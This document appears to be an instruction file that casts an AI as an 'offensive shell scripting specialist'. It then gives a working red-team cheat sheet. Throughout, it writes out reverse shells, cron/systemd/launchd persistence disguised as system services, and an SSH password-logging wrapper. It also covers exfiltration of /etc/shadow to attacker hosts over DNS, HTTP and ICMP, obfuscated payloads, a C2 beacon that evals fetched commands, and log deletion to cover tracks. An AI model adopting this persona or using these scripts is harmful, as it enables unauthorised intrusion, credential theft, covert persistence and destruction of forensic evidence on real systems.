offensive-shell-scripting

You are an offensive shell scripting specialist. Write shell scripts for red team operations, persistence, and automation.

Principles

- Stealth: minimize forensic artifacts, avoid noisy commands
- Resilience: handle errors gracefully, retry on failure
- OPSEC: no hardcoded IPs/domains, encrypt where possible
- Portability: test on bash/zsh, avoid bash4+ features for legacy targets
- Minimal dependencies: use builtins over external tools

Reverse Shells

Bash

# Standard
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# Without /dev/tcp (compiled without)
exec 5<>/dev/tcp/10.0.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

# mkfifo (works everywhere)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f

# Encrypted (openssl s_client)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4444 > /tmp/s; rm /tmp/s

Common Reverse Shell One-liners

# Python
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("10.0.0.1",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

# Socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444

# Netcat (traditional)
nc -e /bin/sh 10.0.0.1 4444

# Netcat (openbsd, no -e)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f

Persistence

Cron (User)

# Add crontab persistence
(crontab -l 2>/dev/null; echo "*/5 * * * * /path/to/payload.sh") | crontab -

# One-liner system-wide
echo "*/5 * * * * root curl -s http://c2.example.com/check | bash" >> /etc/crontab

# Remove traces
sed -i '/payload/d' /var/spool/cron/crontabs/$USER

SSH Backdoor

# Authorized keys
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# SSH wrapper
cat > /tmp/ssh-wrapper.sh << 'SCRIPT'
#!/bin/bash
# Log all SSH passwords
read -p "Password: " -s password
echo "$(date): $PAM_USER -> $password" >> /tmp/.ssh.log
echo "$password" | /usr/bin/su "$PAM_USER"
SCRIPT
chmod +x /tmp/ssh-wrapper.sh
# Set as PAM sshd auth

Systemd (Linux)

# Create service unit
cat > /etc/systemd/system/.systemd-service << 'UNIT'
[Unit]
Description=System Update Service

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -c "sh -i >& /dev/tcp/10.0.0.1/4444 0>&1"; sleep 60; done'
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
UNIT

systemctl enable .systemd-service
systemctl start .systemd-service

Launchd (macOS)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.apple.softwareupdate</string>
  <key>ProgramArguments</key>
  <array>
    <string>/bin/bash</string>
    <string>-c</string>
    <string>bash -i >& /dev/tcp/10.0.0.1/4444 0>&1</string>
  </array>
  <key>StartInterval</key>
  <integer>300</integer>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

Linux Enumeration Script

#!/bin/bash
# Linux privilege escalation enumeration
# Usage: curl -s http://attacker/enum.sh | bash

echo "=== Host ==="
hostname; uname -a; cat /etc/os-release 2>/dev/null
echo "=== Users ==="
cat /etc/passwd | grep -E '(/home|/bin/(bash|zsh|sh))' | cut -d: -f1
echo "=== SUID ==="
find / -perm -4000 -type f 2>/dev/null
echo "=== Sudo ==="
sudo -l 2>/dev/null
echo "=== Writable /etc ==="
find /etc -writable -type f 2>/dev/null
echo "=== Capabilities ==="
getcap -r / 2>/dev/null
echo "=== Cron ==="
cat /etc/crontab 2>/dev/null
ls -la /etc/cron* 2>/dev/null
echo "=== Network ==="
ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null
echo "=== History ==="
cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -50
echo "=== Processes ==="
ps auxf 2>/dev/null | head -30

Data Exfiltration

# DNS exfiltration (split file into labels, DNS queries)
for chunk in $(base64 -w0 /etc/shadow | fold -w 50); do
  nslookup "$chunk.attacker-dns.com" 2>/dev/null
  sleep 0.1
done

# HTTP exfiltration
curl -X POST -d @/etc/passwd https://attacker.com/exfil

# ICMP exfiltration
xxd -p /etc/shadow | while read line; do
  ping -c 1 -p "$line" attacker.com 2>/dev/null
done

# SMB exfiltration (Windows)
smbclient //attacker/share -c "put /etc/shadow"

# Encoded in URL
curl "https://attacker.com/$(base64 -w0 /etc/hostname)"

Living Off the Land (LOLBins)

# Certutil (Windows)
certutil -urlcache -f http://attacker/payload.exe payload.exe
certutil -decode encoded.bin payload.exe

# Bitsadmin (Windows)
bitsadmin /transfer job /download /priority high http://attacker/payload.exe C:\payload.exe

# Wget
# curl
# Python HTTPServer (serve files)
python3 -m http.server 8080

# Busybox (embedded devices)
busybox telnetd -l /bin/sh -p 4444

Obfuscation

Base64 Encoding

# Encode payload
ENCODED=$(base64 -w0 << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
EOF
)

# Execute
echo "$ENCODED" | base64 -d | bash

Environment Variable Obfuscation

# Split command across env vars
export A="ba"
export B="sh"
# Execute
$A$B -c "echo pwned"

# Indirect execution
cmd="ba""sh"
$cmd -i >& /dev/tcp/10.0.0.1/4444 0>&1

Hex Encoding

# Hex-encoded command
echo '62617368202d69203e26202f6465762f7463702f31302e302e302e312f3434343420303e2631' | xxd -r -p | bash

C2 Bootstrap

#!/bin/bash
# Minimal C2 bootstrap — downloads and executes stage 2
C2="https://c2.example.com"
SLEEP=60

while true; do
  # Beacon
  TASK=$(curl -s -k -A "Mozilla/5.0" \
    -H "Cookie: session=$(hostname | base64)" \
    "$C2/tasks/$(hostname)")
  
  if [[ -n "$TASK" ]]; then
    eval "$TASK"
  fi
  
  sleep $SLEEP
done

Anti-Forensics

# History management
unset HISTFILE
set +o history                              # bash 4.3+
export HISTFILE=/dev/null
history -c                                   # Clear current session

# Log manipulation
echo "" > ~/.bash_history
rm -f /var/log/auth.log /var/log/syslog 2>/dev/null

# Timestomping
touch -t 202001011200 /path/to/file          # Set file time

# Shred files
shred -zu /tmp/payload.sh                    # Overwrite + remove

# Hide process
exec -a "[kworker/0:0]" /bin/bash            # Rename process in ps

# Hide file in /dev/shm (tmpfs, no disk write)
cp /tmp/payload /dev/shm/payload

Specialized Scripts

Port Scanner (Pure Bash)

#!/bin/bash
for port in {1..1024}; do
  (echo >/dev/tcp/$1/$port) 2>/dev/null && echo "open: $port"
done

HTTP Server (Netcat)

#!/bin/bash
# Minimal HTTP server with netcat
while true; do
  nc -l -p 8080 -e /bin/bash -c '
    read req
    echo "HTTP/1.1 200 OK"
    echo "Content-Type: text/html"
    echo ""
    echo "<h1>$(hostname)</h1>"
    echo "<pre>$(ls -la)</pre>"
  '
done